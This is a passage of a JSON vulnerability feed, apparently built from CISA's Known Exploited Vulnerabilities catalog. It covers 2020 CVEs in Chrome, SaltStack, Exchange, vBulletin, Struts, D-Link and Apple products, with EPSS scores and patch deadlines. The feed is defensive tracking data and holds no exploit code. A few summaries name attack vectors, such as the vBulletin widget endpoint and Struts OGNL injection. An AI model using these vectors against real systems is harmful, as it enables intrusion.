perform a sandbox escape via a crafted HTML page.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chrome for Android UI","stacks":["Google Chrome","Android","Google","Chrome for Android UI"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06363,"percentile":0.936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-16010&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-16010","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-16010 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-16010&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-16010, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-16013","cveId":"CVE-2020-16013","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Incorrect Implementation Vulnerabililty","summary":"Google Chromium V8 Engine contains an inappropriate implementation vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02756,"percentile":0.86146,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-16013&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-16013","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-16013 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-16013&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-16013, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-16017","cveId":"CVE-2020-16017","aliases":[],"kind":"vulnerability","title":"Google Chrome Use-After-Free Vulnerability","summary":"Google Chrome contains a use-after-free vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chrome","stacks":["Google Chrome","Google","Chrome"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0273,"percentile":0.85978,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-16017&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-16017","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-16017 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-16017&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-16017, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-16846","cveId":"CVE-2020-16846","aliases":[],"kind":"vulnerability","title":"SaltStack Salt Shell Injection Vulnerability","summary":"SaltStack Salt allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt API using the SSH client. This vulnerability affects any users running the Salt API.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SaltStack","product":"Salt","stacks":["SaltStack","Salt"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99585,"percentile":0.99946,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-16846&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-16846","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-16846 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-16846&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-16846, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-17087","cveId":"CVE-2020-17087","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Privilege Escalation Vulnerability","summary":"Microsoft Windows kernel contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05431,"percentile":0.92657,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-17087&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-17087","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-17087 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-17087&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-17087, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-17144","cveId":"CVE-2020-17144","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Remote Code Execution Vulnerability","summary":"Microsoft Exchange Server improperly validates cmdlet arguments which allow an attacker to perform remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.36514,"percentile":0.98483,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-17144&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-17144","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-17144 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-17144&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-17144, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-17496","cveId":"CVE-2020-17496","aliases":[],"kind":"vulnerability","title":"vBulletin PHP Module Remote Code Execution Vulnerability","summary":"The PHP module within vBulletin contains an unspecified vulnerability that allows for remote code execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. This CVE ID resolves an incomplete patch for CVE-2019-16759.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"vBulletin","product":"vBulletin","stacks":["vBulletin"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87478,"percentile":0.99754,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-17496&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-17496","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-17496 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-17496&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-17496, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-17530","cveId":"CVE-2020-17530","aliases":[],"kind":"vulnerability","title":"Apache Struts Remote Code Execution Vulnerability","summary":"Forced Object-Graph Navigation Language (OGNL) evaluation in Apache Struts, when evaluated on raw user input in tag attributes, can lead to remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Struts","stacks":["Apache Struts","Apache","Struts"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96251,"percentile":0.99878,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-17530&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-17530","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-17530 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-17530&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-17530, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-24557","cveId":"CVE-2020-24557","aliases":[],"kind":"vulnerability","title":"Trend Micro Multiple Products Improper Access Control Vulnerability","summary":"Trend Micro Apex One, OfficeScan, and Worry-Free Business Security on Microsoft Windows contain an improper access control vulnerability that may allow an attacker to manipulate a particular product folder to disable the security temporarily, abuse a specific Windows function, and attain privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Trend Micro","product":"Apex One, OfficeScan, and Worry-Free Business Security","stacks":["Trend Micro","Apex One, OfficeScan, and Worry-Free Business Security"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02666,"percentile":0.85621,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-24557&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-24557","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-24557 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-24557&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-24557, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-25213","cveId":"CVE-2020-25213","aliases":[],"kind":"vulnerability","title":"WordPress File Manager Plugin Remote Code Execution Vulnerability","summary":"WordPress File Manager plugin contains a remote code execution vulnerability that allows unauthenticated users to execute PHP code and upload malicious files on a target site.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"WordPress","product":"File Manager Plugin","stacks":["WordPress","File Manager Plugin"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97328,"percentile":0.99896,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-25213&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-25213","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-25213 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-25213&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-25213, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-25506","cveId":"CVE-2020-25506","aliases":[],"kind":"vulnerability","title":"D-Link DNS-320 Device Command Injection Vulnerability","summary":"D-Link DNS-320 device contains a command injection vulnerability in the sytem_mgr.cgi component that may allow for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DNS-320 Device","stacks":["D-Link","DNS-320 Device"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99968,"percentile":0.99977,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-25506&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-25506","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-25506 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-25506&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-25506, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-2555","cveId":"CVE-2020-2555","aliases":[],"kind":"vulnerability","title":"Oracle Multiple Products Remote Code Execution Vulnerability","summary":"Multiple Oracle products contain a remote code execution vulnerability that allows an unauthenticated attacker with network access via T3 or HTTP to takeover the affected system. Impacted Oracle products: Oracle Coherence in Fusion Middleware, Oracle Utilities Framework, Oracle Retail Assortment Planning, Oracle Commerce, Oracle Communications Diameter Signaling Router (DSR).","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Multiple Products","stacks":["Oracle","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97116,"percentile":0.99893,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-2555&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-2555","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-2555 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-2555&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-2555, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-26919","cveId":"CVE-2020-26919","aliases":[],"kind":"vulnerability","title":"Netgear JGS516PE Devices Missing Function Level Access Control Vulnerability","summary":"Netgear JGS516PE devices contain a missing function level access control vulnerability.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"NETGEAR","product":"JGS516PE Devices","stacks":["Netgear","NETGEAR","JGS516PE Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.57468,"percentile":0.99073,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-26919&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-26919","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-26919 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-26919&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-26919, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-27930","cveId":"CVE-2020-27930","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Memory Corruption Vulnerability","summary":"Apple iOS, iPadOS, macOS, and watchOS FontParser contain a memory corruption vulnerability which may allow for code execution when processing maliciously crafted front.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22009,"percentile":0.97644,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-27930&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-27930","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-27930 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-27930&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-27930, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-27932","cveId":"CVE-2020-27932","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Type Confusion Vulnerability","summary":"Apple iOS, iPadOS, macOS, and watchOS contain a type confusion vulnerability that may allow a malicious application to execute code with kernel privileges.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10337,"percentile":0.95676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-27932&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-27932","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-27932 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS 